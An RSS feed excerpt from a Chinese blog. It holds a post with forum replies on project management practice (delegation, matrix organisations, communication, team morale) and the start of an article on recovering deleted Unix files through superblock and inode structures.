<p>项目经理需要攘内安外，对外眼观六路，耳听八方，为项目组营造良好的大环境，对内管理有度，控制有法，给项目成员有发挥的空间，又不至于失控。 </p>
<p>一句话，项目经理首先是一个负责任的人，同时又要给项目成员以责任。
项目推进不动，项目经理往往是关键。要当好项目经理就要多思考，同时必须应用正确的方法。否则事倍功半，几头受气（风箱中的老鼠？）。
扼守承诺，善于沟通，抓住重点，排除干扰，控制主线。控制好这几点，也基本能胜任项目经理。学会中庸之道，不走极端。</p>
<p>项目推进不动，项目经理往往是关键。要当好项目经理就要多思考，同时必须应用正确的方法。否则事倍功半，几头受气（风箱中的老鼠？）。
扼守承诺，善于沟通，抓住重点，排除干扰，控制主线。控制好这几点，也基本能胜任项目经理。学会中庸之道，不走极端。</p>
<p>例舉一個項目管理的場景，請幫忙分析一下。
1 基本組織架構為部門式，人力資源歸屬各部門。
2 項目管理辦公室成員牽頭各項目的推動，依照任務性質分派到其他部門，項目依據項目經理之職級呈現為弱矩陣項目，或平衡矩陣。
      部分項目推動過程的缺失表現為，進度不良，質量不良。項目經理分派任務本身說明不詳細，或者未按照組織要求提供文檔。</p>
<p>先謝謝</p>
<p>现代企业管理模式，大家都逐步在探索矩阵式的管理。为的目的是加快市场反馈速度，提高管理效率。但如何平衡项目管理和部门管理的职责分配，有效的调动资源而不出现多头领导，是一个值得研究的地方。
以我的经验，是企业必须建立一套科学的考核体系，平衡项目和职能部门之间的权利，从利益上找到共同点。而且更强调项目的重要性，对项目经理的授权要充分，当然对项目经理的考核和奖惩都是最严格的。这样才能提高效率，让大家都做实事，而不要相互扯皮</p>
<p>矩陣式項目管理優勢在于人力等資源的共享，但是發揮優勢是需要團隊合作等企劃文化支撐。否則只能降低管理效率。</p>
<p>弱矩陣模式下的項目經理其職能類似跟單，其工作的完成一部分是自己的努力，大部分是依靠其他團隊成員的合作。哪些工作需要自己去完成，哪些工作可以指派其他成員完成，是需要依據環境思量的。指派給別人完成的任務，要要盡力準備，創作出容易完成的環境，如果只是自己圖清閑，把任務一概推給別人處理，效果可想而至。</p>
<p>這也是對你4樓關于項目經理職能論述的一個側面補充吧。
补充得不错，  </p>
<p>还有矩阵式管理中，横向（项目管理）管理更强还是纵向（职能部门管理）权利更强，是由公司的战略和运营模式决定的。而一个公司的战略和运营模式，又是根据内外环境，比如自身资源优势，行业市场环境，竞争者分布而影响的。作为一个初创的公司，生存为最重要的前提，所以强调以项目为导向，其他部门全力配合项目经理完成项目，尽快产生现金流。做到一定规模，生存不是首要问题后，就要解决规范，体系和稳定性问题。此时应该职能管理和项目并重。当发展比较顺利，市场定位准确，产品日益成熟，有稳定的客户群后，要解决的就是如何大量复制的问题。此时对稳定性和标准，规范提出了高要求。有时不得不拒绝一些非标准化的特殊需求。以标准化推进市场占有率。职能部门的管理权力会略强于项目管理。
为了达到最好的平衡，需要在项目和职能部门之间做好平衡。而我更偏向于项目略大于职能的管理模式。一切都是项目，一切都是目标管理。只是团队中来自于不同的专业部门临时组合在一起，完成一个共同的目标。职能部门的作用就是培训，规范本部门的工作，做到更专业化，提高效率。项目经理的责任，就是如何挑选适合项目的资源，并如何更好的整合在一起。
对于每个人所在的行业都会认为自己现阶段所处的这个行业需要学习的太多，要创新的却更多，就像现代社会的网络、电脑、软件，和这些有关的我们统称为“IT人士”，他们需要更快的学习创新速度因为这个行业新成代谢太快，而我也是其中一员，但在这些行业里有共同的一句话：“做好每件事之前先考虑做好一个人”，一个软件项目经理人也不例外。 </p>
<p>　　一个项目的成功百分百归功于这个项目团队，而失败则百分百责任于项目经理人一人，可能失败的责任归于一人用之过大，但其实不然，如：1、项目的失败可能来源于一些外在的因素，这就表示项目经理人对项目的风险评估不够彻底；2、项目中因团队关键人员被调或流动，导致项目延期或无法进行所带来的损失，这就表明人力资源储备有限，更重要的是项目经理人是否有考虑过项目进行中团队某位或很多人员流动该怎样让项目能如期完成；3、项目大部分功能完成后需要客户的初验，这时就需要很多功能上的完善与增加，这可能无法避免但有些更荒唐的是客户看了之后可能对您说：“这和我想要的是两码事”这个时候您只能有权利做一件事，那就是尽情的晕吧！因为有些项目经理人根本就没有和客户说过一句话甚至更惨，没见过一次面，项目的初定和需求直接来源于业务人员，我们的大部分客户都不知道怎样把现实中的实物用程序的方式来展示去实现，所以项目经理人最起码也要用喝一个下午茶的工夫去告诉我们的客户：“您的这个想法我们需要进一步细化，我们将会通过****样的方式帮您实现，您看可以吗？”必须让他回答。 本文转自项目管理者联盟</p>
<p>　　以上总结于项目成败的三点：1、项目经理人对项目的风险评估是否彻底；2、项目经理人是否在团队人员缺失的情况下，能极力挽回项目进度，并能按期完成任务；3、项目经理人是否和客户有更为深入的交谈，项目经理人必须考虑是否真正为客户解决了实际问题。 </p>
<p>　　做好一个项目经理（先从自己做起）：</p>
<p>　　第一：项目前的资源整合；尽量为项目开发提供一个好的环境，一个舒适的工作空间和项目预计所需要的工作工具（尽量提供最好的），就像一个开发人员有一台好的机器，你想想他有多带劲！还有就是召集这个项目需要切实用到的一切人力资源；</p>
<p>　　第二：能力测试；针对软件行业流动性很大的特点，并不排除您的项目团队中有陌生的面孔，也有可能是其他项目团队的派调过来的人手，或是其他合作公司的开发人员，这时您可能需要能力测试这一环节，测试并不是对团员能力的质疑,而是测试该把某个队员放在某个位置，或扮演项目开发中的什么角色比较合适。这种测试有很多方法，可以是做一些游戏或让你的团队一起去完成一个与项目无关的事情，来观察团队每个人员的特性与习性，然后就是针对项目中的每个技术环节做一个特定的测试，目的是为更好的跳过技术陷阱，测试的方法可以自订，但对于团队人员不能让他们感受到这是种测试，这样你就可以让每个团队人员在自己的适合的岗位上发挥自己最大的潜力！项目管理者联盟文章，深入探讨。</p>
<p>　　第三：个人执行力；怎样让自己具备有一个很好的执行力，首先，要端正所有项目经理人的观点（自己不光是该项目的领导人更是该团队中的普通一员），请把您对您的上级，公司领导的热情与尊敬复制到您对团队人员的身上，现代社会注重人文与个人魅力，以前的命令式做法已行不通，一个出色的领导人注重的是亲和力，要让你的团队人员感觉到“做好这个项目需要得到他们的帮助！”。</p>
<p>　　第四：团队精神与士气；如果在一个项目中您要是感觉到您正在扮演一个传递员的工作而每件队员与队员之间能解决的事情都需要经过您这台“服务器”的话，就说明您的这个团队中“神经系统”出了问题，人员的情绪千变万化，队员在生活中或工作中遇到了困难，这时项目经理人需要有迅速的洞察力“发现它就要解决掉它”，怎样让一个团队有一个更好的机动性和更强劲的动力，个人认为最简单快捷的方式就是在项目中抽出活动资金带着您的团队去&#8221;happy&#8221;！(对团队人员而言，一次活动互相接触的次数，大于在上班时间1个月所接触的次数。) 最好是制定活动计划和活动内容（最好是能让所有人都喜欢的），并严格规定不能缺席。</p>
<p>　　第五：分配任务的重要性；在分配任务时所有项目经理人都会发生的错误，就是在会议上当着整个团队强调某个队员任务的重要性，您提高了一个队员的积极性却降低了其他队员的士气，在分配任务到个人时还要注意把这个任务分配给某个人是否有想好还有更好的人选，不要主观地认为某个队员手头上的工作不太紧而分配给他，这样将会带来不可估计的后果，对项目本身而言，任务分配到个人有多有少有复杂有简单，这不能用天枰衡量，但怎样让每个队员心中平衡这可能就需要一个好的考核办法与项目奖金的分配制度，最好是公开透明的。 </p>
<p>　　总的来说，做好一个项目经理人难，需要不断的努力、思考和完善！
项目管理知识体系，是一个较大的知识系统，这也就让很多初学者摸不到头脑，感觉入门很难。
学习都是一个循序渐进的过程。
要把项目保证完成，首先要做的就是风险管理。只要做好了风险管理，基本能够保证你的项目在可控的范围之内，并能够按照范围内的指标完成。
第二步，要想把项目做好，就必须做好沟通管理。项目经理必须起到一个有效传达信息，平衡投资者，项目团队和客户之间的交流。</p>
<p>说到项目管理，大家都会想到铁三角  时间-质量-成本 中间覆盖的就是项目范围。这是一个经典的模型，项目经理必须深悟此道，融会贯通。
投资者，项目团队，客户也是一个三角，项目经理就在其中，重要性显而易见
人，工具，制度  这个是通用的管理模型，同样适合于项目管理。要把项目做得漂亮，提高项目的效率，项目经理就必须在三者之间结合内外环境状况，得到最佳的平衡。</p>
<p>项目管理虽然兴起在西方，但中国的项目管理实践历史已经非常悠久。好的项目经理，并不一定要考证。管理关键在于行，而不在于知。</p>
]]></description>
			<content:encoded><![CDATA[<p>看到不少的朋友都在需求如何做好项目经理的问题，见到建设性的建议也不是很多。在此开辟一个版块，逐步的分享下一些心得。 我也做了6年的项目经理，虽然时间也不算长，但大小项目也经历了不少。<br />
记得一本书上提到，如果你喜欢一个人，让他去做项目经理，那会让一个人经历磨练，很快的成熟；如果你狠一个人，让他去做项目经理，这样会在短期内给一个人最大的打击，让自己感到自身的渺小，如同风中的树叶不受自己控制&#8230;呵呵，的确我也经历过无数这样的事情。<br />
由于工作比较忙，只有抽空不断更新此帖。希望大家不要随意灌水，多给些有建设性的意见。<br />
先传个入门级的读物吧<br />
项目经理: 重大局不做瓶颈<br />
水平很高的顾问未必能做好项目经理，因为在某种意义上，你可能太相信自己了，你不放心也不相信你的项目成员能和你一样能把工作做得很出色，所以所有的事情你都想自己干，但项目内容实在太多，你忙不过来，项目成员在旁边却无事可干，干着急帮不上忙，偶尔帮上了，还被你臭一顿。只有无限同情地看着你，看着这个可怜的所谓项目经理。 </p>
<p>久而久之，项目变成了你一个人的项目，项目成员成了看客，你天天埋怨底下这帮人真笨，没本事，什么都要靠你自己；项目成员天天想这个项目经理实在没水平，根本不会安排工作，跟着这样的人，完全是在浪费时间，一点成就感也没有。 </p>
<p>项目经理，为什么你总是项目工作进展的瓶颈？ </p>
<p>我刚开始做项目经理的时候也有同样的烦恼，也完全束手无策，现在好多了。因为从心态上，我知道自己一定不是这个世界上把事情做得最好的人，我相信就在我的项目组里一定有做得比我好的人，只是我没发现，或者我没告诉别人要做什么，怎么做。 </p>
<p>作为项目经理，如果你还没把你能干的事情交给别人干，那你实在是太可怜了，或者说你根本不会当项目经理。就好像我们很多管理者整天忙于业务一样，总是忙于喂“猴子”，帮所有的人喂“猴子”，自己饿死了，底下的人却一身轻松地潇洒而去。 </p>
<p>刚做项目经理的时候，事情往往不太容易想明白，而事情没想明白就觉得任务无法分下去，即便勉强分下去了，拿出来的东西也不是自己要的。于是很烦，觉得还不如自己干。咨询就是这么奇怪的一件事情，等你完全想明白的时候，事情也做完了。这样反反复复几次，顾问成员觉得你总在变，让人无所适从，于是开始质疑，在你分配工作的时候，问了几个问题你就被问倒了，所以你也不敢再指挥了。于是你威信扫地，无法指挥了，你觉得指挥别人比自己干还累，也不愿意再指挥了。就这样陷入了恶性循环，你只好自己单干。 </p>
<p>项目经理永远要记住的是：项目总体的质量是你控制的，项目内容的质量是靠项目成员保证的。项目总体的质量是指项目边界，项目内容核心关注的点，主要观点的正确性等。 </p>
<p><span id="more-1395"></span>所以，项目经理首先要判断的是该做什么，不该做什么？一旦决定要做，就开始和项目成员讨论思路，如果自己没有思路，就让项目成员拿思路，讨论到一定程度，就分头去干，干了再讨论，反复几轮就清楚了，而不要等待，等待没有结果，行动才有结果，有些弯路是必须要走的。 </p>
<p>而对于项目成员，永远不要期待在咨询项目中，项目经理告诉你一个明白无比的思路和做事的方式，除非你撞大运了，遇到了一个巨牛无比的项目经理，所以，从项目成员来讲，该忍受的还得忍受，互相帮助才可能把项目做好。 </p>
<p>对于项目经理而言，如果你想得明白，工作模版是你控制项目质量的好工具，所以你的工作是和项目成员讨论模版，并且让他们理解模版，至于根据模版完成的内容，一般而言，你就无能为力了，得靠你的项目成员了。 </p>
<p>对于咨询项目而言，项目经理必须要有一个本事，能抓住重点，当你的项目成员给你100页的报告时，你清楚地知道最关键的是什么？一句话能说清楚，一页PPT能说清楚，十页PPT能说清楚，100页也能说清楚，这是真本事。反过来说，当你分配任务的时候，你要清楚地告诉项目成员里面的关键点在哪里，如果你实在不知道，就让项目成员告诉你，如果他也不知道，那就讨论，实在讨论不清楚了，就开始做，做了再讨论，反反复复，总有清楚的一天。 </p>
<p>项目经理该做什么？ </p>
<p>如果一个4个以上项目成员的项目团队，项目经理还在做具体的事情，花很多时间写具体的文档，那这个项目肯定存在问题了。因为你已经花了太多的经历在具体细节上，意味着更重要的事情你没有关注。在我看来，项目经理最应该做的三件事情是：项目总体计划和控制、沟通和协调资源、处理项目之外的事情。 </p>
<p>• 项目总体计划和控制 </p>
<p>计划只是控制的一个手段，你必须想清楚整个项目的大阶段，在项目进度出问题的时候，如何快速推进。我一般会列出大的阶段性计划和关键要求，具体的阶段的详细计划，我都会安排一个项目成员来总体负责这个阶段的事情，因为我已经没精力了。有问题我们可以讨论，但必须有一双眼睛盯着这件事情。 </p>
<p>另外，我常用的一个手段是文档模板，通过文档模板来控制项目内容和质量，这个非常有用，如果把文档模板只是理解为格式，那就没意思了，文档模板是框架的确立，至少要细化到3级目录，有时候甚至具体的表格、具体的问题和关键字段，详细程度视重要程度而言，这个工作对项目经理而言是非常重要的，会花很多时间。当然，对我而言，我也不会自己写一个扔出去，而是通过讨论，拿笔划划，让项目成员准备初稿，然后一轮一轮的讨论，通过讨论使大家明白这个过程和内容要求。 </p>
<p>• 沟通和协调资源 </p>
<p>有人说项目管理的工作就是沟通、沟通、再沟通。一点没错。项目经理需要沟通的人太多了，客户、项目成员、公司、家里人，一堆人，不花时间怎么能解决问题？所以你必须花大量的时间去沟通。我判断一个项目的成功状态是你到底花了多长时间和客户在一起沟通，对一个项目经理而言，比较理想的状态是你随时可以推开客户方任何一个人的办公室的门去聊，除了有秘书挡架的之外（有秘书挡架的要通过mail、书面材料来补）。一个好的项目经理，在两到三周就能达到这个状态。这个状态的背后意味着你能帮助客户解决问题或者给他帮助和启发，否则就是推门进去了，客户也会把你踹出来。 </p>
<p>另外一个重要工作当然是协调资源，这方面内容很多。最重要的一点是，如果你发现某个问题项目组所有人都搞不定了或者不经济了，想别的办法吧，找别人吧，客户方的，公司的，外面的都可以。这个工作比较难，也很烦琐，所以总体上往往还是要自力更生，艰苦奋斗。借助项目外的资源来解决目标明确的具体问题，协调资源的次序一定是：客户、自己的公司、外部资源，搞错次序了，就复杂且麻烦了。 </p>
<p>• 处理项目之外的事情 </p>
<p>项目经理还有一个很重要的工作就是控制项目范围，怎么控制？要敢于向客户说“不”，但这个“不”不是乱说的，如果你拒绝客户，你就拒绝了自己。这远远不是一个说话的艺术问题，而是是否能站在客户立场上，帮助客户解决问题的问题。即使项目无法很好解决，你需要告诉客户怎么解决，给人一条出路，而不是堵回去。在此基础上再分析在项目的时间、成本、质量和范围约束下，我们能做什么。给客户解决方案，小到参考文档，大到运作项目、整合资源都不是简单的事情，需要投入很多的精力，而不要让项目成员在这方面花太多的时间。所以从这个意义上讲，项目经理的职责是让项目成员在一个相对安全的项目环境中工作。 </p>
<p>做该做的，充分调动项目成员的能力，让他们也参与项目管理的过程中来，决不是推卸责任，对于项目工作和人员培养都是很有好处的，项目经理的眼睛如果只盯在项目本身，项目很难有好的结果。总之，你始终要清醒地认识到，你带领的是一个团队，而不是你自己。 </p>
<p>项目经理需要攘内安外，对外眼观六路，耳听八方，为项目组营造良好的大环境，对内管理有度，控制有法，给项目成员有发挥的空间，又不至于失控。 </p>
<p>一句话，项目经理首先是一个负责任的人，同时又要给项目成员以责任。<br />
项目推进不动，项目经理往往是关键。要当好项目经理就要多思考，同时必须应用正确的方法。否则事倍功半，几头受气（风箱中的老鼠？）。<br />
扼守承诺，善于沟通，抓住重点，排除干扰，控制主线。控制好这几点，也基本能胜任项目经理。学会中庸之道，不走极端。</p>
<p>项目推进不动，项目经理往往是关键。要当好项目经理就要多思考，同时必须应用正确的方法。否则事倍功半，几头受气（风箱中的老鼠？）。<br />
扼守承诺，善于沟通，抓住重点，排除干扰，控制主线。控制好这几点，也基本能胜任项目经理。学会中庸之道，不走极端。</p>
<p>例舉一個項目管理的場景，請幫忙分析一下。<br />
1 基本組織架構為部門式，人力資源歸屬各部門。<br />
2 項目管理辦公室成員牽頭各項目的推動，依照任務性質分派到其他部門，項目依據項目經理之職級呈現為弱矩陣項目，或平衡矩陣。<br />
      部分項目推動過程的缺失表現為，進度不良，質量不良。項目經理分派任務本身說明不詳細，或者未按照組織要求提供文檔。</p>
<p>先謝謝</p>
<p>现代企业管理模式，大家都逐步在探索矩阵式的管理。为的目的是加快市场反馈速度，提高管理效率。但如何平衡项目管理和部门管理的职责分配，有效的调动资源而不出现多头领导，是一个值得研究的地方。<br />
以我的经验，是企业必须建立一套科学的考核体系，平衡项目和职能部门之间的权利，从利益上找到共同点。而且更强调项目的重要性，对项目经理的授权要充分，当然对项目经理的考核和奖惩都是最严格的。这样才能提高效率，让大家都做实事，而不要相互扯皮</p>
<p>矩陣式項目管理優勢在于人力等資源的共享，但是發揮優勢是需要團隊合作等企劃文化支撐。否則只能降低管理效率。</p>
<p>弱矩陣模式下的項目經理其職能類似跟單，其工作的完成一部分是自己的努力，大部分是依靠其他團隊成員的合作。哪些工作需要自己去完成，哪些工作可以指派其他成員完成，是需要依據環境思量的。指派給別人完成的任務，要要盡力準備，創作出容易完成的環境，如果只是自己圖清閑，把任務一概推給別人處理，效果可想而至。</p>
<p>這也是對你4樓關于項目經理職能論述的一個側面補充吧。<br />
补充得不错，  </p>
<p>还有矩阵式管理中，横向（项目管理）管理更强还是纵向（职能部门管理）权利更强，是由公司的战略和运营模式决定的。而一个公司的战略和运营模式，又是根据内外环境，比如自身资源优势，行业市场环境，竞争者分布而影响的。作为一个初创的公司，生存为最重要的前提，所以强调以项目为导向，其他部门全力配合项目经理完成项目，尽快产生现金流。做到一定规模，生存不是首要问题后，就要解决规范，体系和稳定性问题。此时应该职能管理和项目并重。当发展比较顺利，市场定位准确，产品日益成熟，有稳定的客户群后，要解决的就是如何大量复制的问题。此时对稳定性和标准，规范提出了高要求。有时不得不拒绝一些非标准化的特殊需求。以标准化推进市场占有率。职能部门的管理权力会略强于项目管理。<br />
为了达到最好的平衡，需要在项目和职能部门之间做好平衡。而我更偏向于项目略大于职能的管理模式。一切都是项目，一切都是目标管理。只是团队中来自于不同的专业部门临时组合在一起，完成一个共同的目标。职能部门的作用就是培训，规范本部门的工作，做到更专业化，提高效率。项目经理的责任，就是如何挑选适合项目的资源，并如何更好的整合在一起。<br />
对于每个人所在的行业都会认为自己现阶段所处的这个行业需要学习的太多，要创新的却更多，就像现代社会的网络、电脑、软件，和这些有关的我们统称为“IT人士”，他们需要更快的学习创新速度因为这个行业新成代谢太快，而我也是其中一员，但在这些行业里有共同的一句话：“做好每件事之前先考虑做好一个人”，一个软件项目经理人也不例外。 </p>
<p>　　一个项目的成功百分百归功于这个项目团队，而失败则百分百责任于项目经理人一人，可能失败的责任归于一人用之过大，但其实不然，如：1、项目的失败可能来源于一些外在的因素，这就表示项目经理人对项目的风险评估不够彻底；2、项目中因团队关键人员被调或流动，导致项目延期或无法进行所带来的损失，这就表明人力资源储备有限，更重要的是项目经理人是否有考虑过项目进行中团队某位或很多人员流动该怎样让项目能如期完成；3、项目大部分功能完成后需要客户的初验，这时就需要很多功能上的完善与增加，这可能无法避免但有些更荒唐的是客户看了之后可能对您说：“这和我想要的是两码事”这个时候您只能有权利做一件事，那就是尽情的晕吧！因为有些项目经理人根本就没有和客户说过一句话甚至更惨，没见过一次面，项目的初定和需求直接来源于业务人员，我们的大部分客户都不知道怎样把现实中的实物用程序的方式来展示去实现，所以项目经理人最起码也要用喝一个下午茶的工夫去告诉我们的客户：“您的这个想法我们需要进一步细化，我们将会通过****样的方式帮您实现，您看可以吗？”必须让他回答。 本文转自项目管理者联盟</p>
<p>　　以上总结于项目成败的三点：1、项目经理人对项目的风险评估是否彻底；2、项目经理人是否在团队人员缺失的情况下，能极力挽回项目进度，并能按期完成任务；3、项目经理人是否和客户有更为深入的交谈，项目经理人必须考虑是否真正为客户解决了实际问题。 </p>
<p>　　做好一个项目经理（先从自己做起）：</p>
<p>　　第一：项目前的资源整合；尽量为项目开发提供一个好的环境，一个舒适的工作空间和项目预计所需要的工作工具（尽量提供最好的），就像一个开发人员有一台好的机器，你想想他有多带劲！还有就是召集这个项目需要切实用到的一切人力资源；</p>
<p>　　第二：能力测试；针对软件行业流动性很大的特点，并不排除您的项目团队中有陌生的面孔，也有可能是其他项目团队的派调过来的人手，或是其他合作公司的开发人员，这时您可能需要能力测试这一环节，测试并不是对团员能力的质疑,而是测试该把某个队员放在某个位置，或扮演项目开发中的什么角色比较合适。这种测试有很多方法，可以是做一些游戏或让你的团队一起去完成一个与项目无关的事情，来观察团队每个人员的特性与习性，然后就是针对项目中的每个技术环节做一个特定的测试，目的是为更好的跳过技术陷阱，测试的方法可以自订，但对于团队人员不能让他们感受到这是种测试，这样你就可以让每个团队人员在自己的适合的岗位上发挥自己最大的潜力！项目管理者联盟文章，深入探讨。</p>
<p>　　第三：个人执行力；怎样让自己具备有一个很好的执行力，首先，要端正所有项目经理人的观点（自己不光是该项目的领导人更是该团队中的普通一员），请把您对您的上级，公司领导的热情与尊敬复制到您对团队人员的身上，现代社会注重人文与个人魅力，以前的命令式做法已行不通，一个出色的领导人注重的是亲和力，要让你的团队人员感觉到“做好这个项目需要得到他们的帮助！”。</p>
<p>　　第四：团队精神与士气；如果在一个项目中您要是感觉到您正在扮演一个传递员的工作而每件队员与队员之间能解决的事情都需要经过您这台“服务器”的话，就说明您的这个团队中“神经系统”出了问题，人员的情绪千变万化，队员在生活中或工作中遇到了困难，这时项目经理人需要有迅速的洞察力“发现它就要解决掉它”，怎样让一个团队有一个更好的机动性和更强劲的动力，个人认为最简单快捷的方式就是在项目中抽出活动资金带着您的团队去&#8221;happy&#8221;！(对团队人员而言，一次活动互相接触的次数，大于在上班时间1个月所接触的次数。) 最好是制定活动计划和活动内容（最好是能让所有人都喜欢的），并严格规定不能缺席。</p>
<p>　　第五：分配任务的重要性；在分配任务时所有项目经理人都会发生的错误，就是在会议上当着整个团队强调某个队员任务的重要性，您提高了一个队员的积极性却降低了其他队员的士气，在分配任务到个人时还要注意把这个任务分配给某个人是否有想好还有更好的人选，不要主观地认为某个队员手头上的工作不太紧而分配给他，这样将会带来不可估计的后果，对项目本身而言，任务分配到个人有多有少有复杂有简单，这不能用天枰衡量，但怎样让每个队员心中平衡这可能就需要一个好的考核办法与项目奖金的分配制度，最好是公开透明的。 </p>
<p>　　总的来说，做好一个项目经理人难，需要不断的努力、思考和完善！<br />
项目管理知识体系，是一个较大的知识系统，这也就让很多初学者摸不到头脑，感觉入门很难。<br />
学习都是一个循序渐进的过程。<br />
要把项目保证完成，首先要做的就是风险管理。只要做好了风险管理，基本能够保证你的项目在可控的范围之内，并能够按照范围内的指标完成。<br />
第二步，要想把项目做好，就必须做好沟通管理。项目经理必须起到一个有效传达信息，平衡投资者，项目团队和客户之间的交流。</p>
<p>说到项目管理，大家都会想到铁三角  时间-质量-成本 中间覆盖的就是项目范围。这是一个经典的模型，项目经理必须深悟此道，融会贯通。<br />
投资者，项目团队，客户也是一个三角，项目经理就在其中，重要性显而易见<br />
人，工具，制度  这个是通用的管理模型，同样适合于项目管理。要把项目做得漂亮，提高项目的效率，项目经理就必须在三者之间结合内外环境状况，得到最佳的平衡。</p>
<p>项目管理虽然兴起在西方，但中国的项目管理实践历史已经非常悠久。好的项目经理，并不一定要考证。管理关键在于行，而不在于知。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1395.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>恢复Unix系统被删除的文件</title>
		<link>http://www.evanjiang.net.cn/archives/1393.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1393.html#comments</comments>
		<pubDate>Sat, 12 Dec 2009 05:06:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[数据恢复]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1393</guid>
		<description><![CDATA[<p>与DOS/Windows不同，Unix文件被删除后很难恢复，这是由Unix独特的文件系统结构决定的。所以，要想恢复这些文件，就需要另辟蹊径。Unix文件系统的特殊性决定了它不能像Windows系统那样恢复被删除的文件。 </p>
<p>Unix 文件目录不像DOS/Windows那样，文件即使被删除之后仍保存有完整的文件名、文件长度、始簇号(即文件占有的第一个磁盘块号)等重要信息。相反， 它的文件信息全部依靠一种被称为i节点的数据结构来描述，而i节点在相应文件被删除之后即被清空，因此，要想直接恢复被删除的文件内容几乎是不可能的，必 须另辟蹊径。本文结合实际，讨论几种文件恢复策略及其关键步骤的具体实现。　 </p>
<p>不过，需要说明的是，Unix系统下文件系统恢复的具体实现依赖于不同操作系统和不同版本的具体文件系统结构和磁盘块分配算法（见附文）。本文只是试图总结出一种一般性的思路和策略，限于篇幅，不能详细讨论它们的具体实现过程。 </p>
<p>Unix文件系统结构 </p>
<p>我们知道，Unix是以文件卷作为其文件系统存储格式的，而不同的Unix系统，文件卷格式是有差异的，甚至即使是同一Unix操作系统的不同版本，其文 件系统也未必完全相同，例如: SCO Unix 4.1版与5.0版文件系统结构就有明显差异，但只要是Unix系统，其文件卷的基本结构是一致的。 </p>
<p>不管是什么Unix系统，不管什么版本，其文件卷至少包括引导块、超级块、i节点表、数据区等几个部分。 </p>
<p>1. 引导块 </p>
<p>位于文件卷最开始的第一扇区，这512字节是文件系统的引导代码，为根文件系统所特有，其他文件系统这512字节为空。 </p>
<p>2. 超级块 </p>
<p>位于文件系统第二扇区，紧跟引导块之后，用于描述本文件系统的结构。如i节点长度、文件系统大小等，其结构存放于/usr/include/sys/filsys.h中，其结构如下: </p>
<p>struct filsys </p>
<p>{ ushort s_isize; /*磁盘索引节点区所占用的数据块数*/ </p>
<p>daddr_t s_fsize; /*整个文件系统的数据块数*/ </p>
<p>short s_nfree; /*在空闲块登录表中当前登记的空闲块数目*/ </p>
<p>daddr_t s_free[NICFREE]; /*空闲块登记表*/ </p>
<p>short s_ninode; /*空闲索引节点数*/ </p>
<p>ino_t s_inode[NICINOD]; /*空闲节点登记表*/ </p>
<p>char s_flock; /*加锁标志位*/ </p>
<p>char s_ilock; /*节点加锁标志位*/ </p>
<p>char s_fmod; /*超级块修改标志*/ </p>
<p>char s_ronly; /*文件系统只读标志*/ </p>
<p>time_t s_time; /*超级块上次修改的时间*/ [...]]]></description>
			<content:encoded><![CDATA[<p>与DOS/Windows不同，Unix文件被删除后很难恢复，这是由Unix独特的文件系统结构决定的。所以，要想恢复这些文件，就需要另辟蹊径。Unix文件系统的特殊性决定了它不能像Windows系统那样恢复被删除的文件。 </p>
<p>Unix 文件目录不像DOS/Windows那样，文件即使被删除之后仍保存有完整的文件名、文件长度、始簇号(即文件占有的第一个磁盘块号)等重要信息。相反， 它的文件信息全部依靠一种被称为i节点的数据结构来描述，而i节点在相应文件被删除之后即被清空，因此，要想直接恢复被删除的文件内容几乎是不可能的，必 须另辟蹊径。本文结合实际，讨论几种文件恢复策略及其关键步骤的具体实现。　 </p>
<p>不过，需要说明的是，Unix系统下文件系统恢复的具体实现依赖于不同操作系统和不同版本的具体文件系统结构和磁盘块分配算法（见附文）。本文只是试图总结出一种一般性的思路和策略，限于篇幅，不能详细讨论它们的具体实现过程。 </p>
<p>Unix文件系统结构 </p>
<p>我们知道，Unix是以文件卷作为其文件系统存储格式的，而不同的Unix系统，文件卷格式是有差异的，甚至即使是同一Unix操作系统的不同版本，其文 件系统也未必完全相同，例如: SCO Unix 4.1版与5.0版文件系统结构就有明显差异，但只要是Unix系统，其文件卷的基本结构是一致的。 </p>
<p>不管是什么Unix系统，不管什么版本，其文件卷至少包括引导块、超级块、i节点表、数据区等几个部分。 </p>
<p>1. 引导块 </p>
<p>位于文件卷最开始的第一扇区，这512字节是文件系统的引导代码，为根文件系统所特有，其他文件系统这512字节为空。 </p>
<p>2. 超级块 </p>
<p><span id="more-1393"></span>位于文件系统第二扇区，紧跟引导块之后，用于描述本文件系统的结构。如i节点长度、文件系统大小等，其结构存放于/usr/include/sys/filsys.h中，其结构如下: </p>
<p>struct filsys </p>
<p>{ ushort s_isize; /*磁盘索引节点区所占用的数据块数*/ </p>
<p>daddr_t s_fsize; /*整个文件系统的数据块数*/ </p>
<p>short s_nfree; /*在空闲块登录表中当前登记的空闲块数目*/ </p>
<p>daddr_t s_free[NICFREE]; /*空闲块登记表*/ </p>
<p>short s_ninode; /*空闲索引节点数*/ </p>
<p>ino_t s_inode[NICINOD]; /*空闲节点登记表*/ </p>
<p>char s_flock; /*加锁标志位*/ </p>
<p>char s_ilock; /*节点加锁标志位*/ </p>
<p>char s_fmod; /*超级块修改标志*/ </p>
<p>char s_ronly; /*文件系统只读标志*/ </p>
<p>time_t s_time; /*超级块上次修改的时间*/ </p>
<p>short s_dinfo[4]; /*设备信息*/ </p>
<p>daddr_t s_tfree; /*空闲块总数*/ </p>
<p>ino_t s_tinode; /*空闲节点总数*/ </p>
<p>char s_fname[6]; /*文件系统名称*/ </p>
<p>char s_fpack[6]; </p>
<p>long s_fill[13]; /*填空位*/ </p>
<p>long s_magic; /*指示文件系统的幻数*/ </p>
<p>long s_type; /*新文件系统类型*/ }; </p>
<p>3. i节点表 </p>
<p>i节点表存放在超级块之后，其长度是由超级块中的s_isize字段决定的，其作用是用来描述文件的属性、长度、属主、属组、数据块表等，其数据结构在/usr/include/sys/ino.h中，如下: </p>
<p>struct dinode </p>
<p>{ ushort di_mode; </p>
<p>short di_nlink; </p>
<p>ushort di_uid; </p>
<p>ushort di_gid; </p>
<p>off_t di_size; </p>
<p>char di_addr[40]; </p>
<p>time_t di_atime; </p>
<p>time_t di_mtime; </p>
<p>time_t di_ctime; }; </p>
<p>4. 目录结构 </p>
